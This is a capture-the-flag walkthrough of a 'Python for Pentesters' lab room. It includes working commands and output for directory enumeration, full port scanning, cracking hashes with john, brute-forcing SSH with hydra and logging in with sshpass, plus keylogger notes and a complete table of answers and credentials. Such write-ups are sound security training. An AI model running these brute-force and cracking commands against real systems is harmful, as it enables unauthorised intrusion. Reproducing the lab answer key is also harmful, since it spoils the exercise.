Python for Pentesters
This is a hands-on premium room that walks through practical Python scripts for a penetration test: subdomain and directory enumeration, network and port scanning, a file downloader, a hash cracker, a keylogger, and an SSH brute-forcer. Most of the questions test your understanding of the code, but four tasks need you to actually run the tooling against a live target. This walkthrough covers the whole room, with the real commands I ran from the AttackBox against the lab machine.

Setup
Task 1 starts both machines: the AttackBox (attacker, 10.48.123.92) and the lab machine (target, 10.48.149.8). Everything below runs from an AttackBox terminal with the target exported as a shell variable:
export T=10.48.149.8
Task 2: Subdomain Enumeration
The script loops a subdomains.txt wordlist, prepends each entry to the domain, and treats any subdomain that accepts a connection as valid. Two conceptual questions here: the script uses plain HTTP, so the other protocol you could enumerate over is HTTPS, and the function Python uses to read a command-line argument is sys.argv (seen in the script as sys.argv[1]).
Task 3: Directory Enumeration
This is the first practical task. The script requests http://TARGET/<word>.html for each entry in the wordlist and reports anything that is not a 404. The room’s wordlist lives on the AttackBox at /usr/share/wordlists/PythonForPentesters/wordlist2.txt. Rather than run the teaching script, the same logic is a one-line loop:
WL=/usr/share/wordlists/PythonForPentesters/wordlist2.txt
for d in $(cat $WL); do
c=$(curl -s -o /dev/null -w "%{http_code}" http://$T/$d.html)
[ "$c" != "404" ] && echo "$c /$d.html"
done
200 /surfer.html
200 /private.html
200 /apollo.html
200 /index.html
That is 4 valid pages. Pulling each one and grepping for interesting strings answers the rest of the task:
cd /tmp; for p in surfer private apollo index; do curl -s http://$T/$p.html -o $p.html; done
grep -rinE 'rabbit|login|password|hash|user' *.html
private.htmlhas<title>Login Page</title>and a username/password form, so the login page isprivate.html.apollo.htmlcontains a lone 32-character stringcd13b6a6af66fb774faa589a9d18f906, so the cryptic hash is onapollo.html.surfer.htmllists the users and their passwords, so the usernames are onsurfer.html. That page also spells outPassword for Rabbit set to LOUSYRABBO, making Rabbit’s passwordLOUSYRABBO.
Task 4: Network Scanner
An ARP scanner built with Scapy (more reliable than ICMP on a local segment because hosts can be configured to ignore pings). The questions are about the code: the module used to craft the ARP packets is Scapy, the variable to change for your local IP block is ip_range, and the variable to change for a NIC named ens33 is interface.
Task 5: Port Scanner
A socket-based TCP connect scanner. Two conceptual answers first: the protocol most likely on TCP port 22 is SSH, and the module imported for sockets is socket. The function that would fail without importing sys is sys.stdout.flush().
The last two questions need a real scan. A quick top-ports scan only shows 22 and 80, so a full scan matters here:
nmap -p- --min-rate 3000 -T4 $T
22/tcp open ssh
80/tcp open http
2100/tcp open amiganetfs
So 3 ports are open, and the highest open port is 2100 (easy to miss without scanning the full range).
Task 6: File Downloader
A tiny requests script that downloads a file. The function used to connect to the target website is requests.get(). The task also mentions PSexec; in the Unified Cyber Kill Chain, PSexec (running commands on remote hosts) belongs to the Lateral Movement phase.
Task 7: Hash Cracker
A hashlib MD5 cracker that hashes each wordlist line and compares. The hash found during directory enumeration is the one from apollo.html: cd13b6a6af66fb774faa589a9d18f906. Cracking it against rockyou:
echo cd13b6a6af66fb774faa589a9d18f906 > /tmp/h.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/h.txt
cd13b6a6af66fb774faa589a9d18f906:rainbow
The cleartext is rainbow. The task then asks you to adapt the script for SHA256 and crack 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60:
echo 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60 > /tmp/s.txt
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/s.txt
5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60:redwings
That cleartext is redwings.
Task 8: Keyloggers
Three lines using the keyboard module to record and replay keystrokes. The package installer used to add the module is pip3 (pip3 install keyboard), and the line you would change to stop the captured keys from being printed back to the screen is keyboard.play(keys).
Task 9: SSH Brute Forcing
A Paramiko brute-forcer. First, the username starting with “t” comes from the user list on surfer.html (tiffany, daniel, jim, mike), so it is tiffany. Brute-forcing tiffany’s SSH password with the room wordlist:
hydra -l tiffany -P /usr/share/wordlists/PythonForPentesters/wordlist2.txt ssh://$T -t 4 -f
[22][ssh] host: 10.48.149.8 login: tiffany password: trustno1
So the SSH password is trustno1. Logging in and reading the flag:
sshpass -p trustno1 ssh -o StrictHostKeyChecking=no tiffany@$T "cat flag.txt"
THM-737390028
The flag is THM-737390028.

Task 10: Extra challenges
No answer needed, just suggestions to extend the tools (DNS-based subdomain enumeration, banner grabbing, threading the brute-forcer, building Windows executables).
Every answer
| Task | Question | Answer |
|---|---|---|
| 2 | Other protocol for subdomain enumeration | HTTPS |
| 2 | Function to read a command-line argument | sys.argv |
| 3 | Directories the script identifies (.html) | 4 |
| 3 | Location of the login page | private.html |
| 3 | Where the cryptic hash is | apollo.html |
| 3 | Where the usernames are | surfer.html |
| 3 | Password assigned to Rabbit | LOUSYRABBO |
| 4 | Module used for the ARP requests | Scapy |
| 4 | Variable to change for your IP block | ip_range |
| 4 | Variable to change for interface ens33 | interface |
| 5 | Protocol likely on TCP port 22 | SSH |
| 5 | Module imported to use sockets | socket |
| 5 | Function that fails without sys | sys.stdout.flush() |
| 5 | Open ports on the lab machine | 3 |
| 5 | Highest open port | 2100 |
| 6 | Function used to connect to the site | requests.get() |
| 6 | Unified Kill Chain phase for PSexec | Lateral Movement |
| 7 | Hash found during directory enumeration | cd13b6a6af66fb774faa589a9d18f906 |
| 7 | Cleartext of that hash | rainbow |
| 7 | Cleartext of the SHA256 hash | redwings |
| 8 | Package installer used | pip3 |
| 8 | Line to change to stop printing | keyboard.play(keys) |
| 9 | Username starting with “t” | tiffany |
| 9 | SSH password of this user | trustno1 |
| 9 | Content of flag.txt | THM-737390028 |
Wrap-up
Python for Pentesters is a good reminder that most pentest tooling is just a short script plus a wordlist. The room’s real value is seeing how directory enumeration, a full-range port scan, hashlib cracking, and a Paramiko brute-forcer chain together: apollo.html gives you a hash that cracks to rainbow, surfer.html gives you the user tiffany, and hydra turns that into an SSH session where flag.txt reads THM-737390028. The scripts in the room are deliberately simple, which makes them a solid base to extend with threading, banner grabbing, or DNS enumeration once you are comfortable reading them.

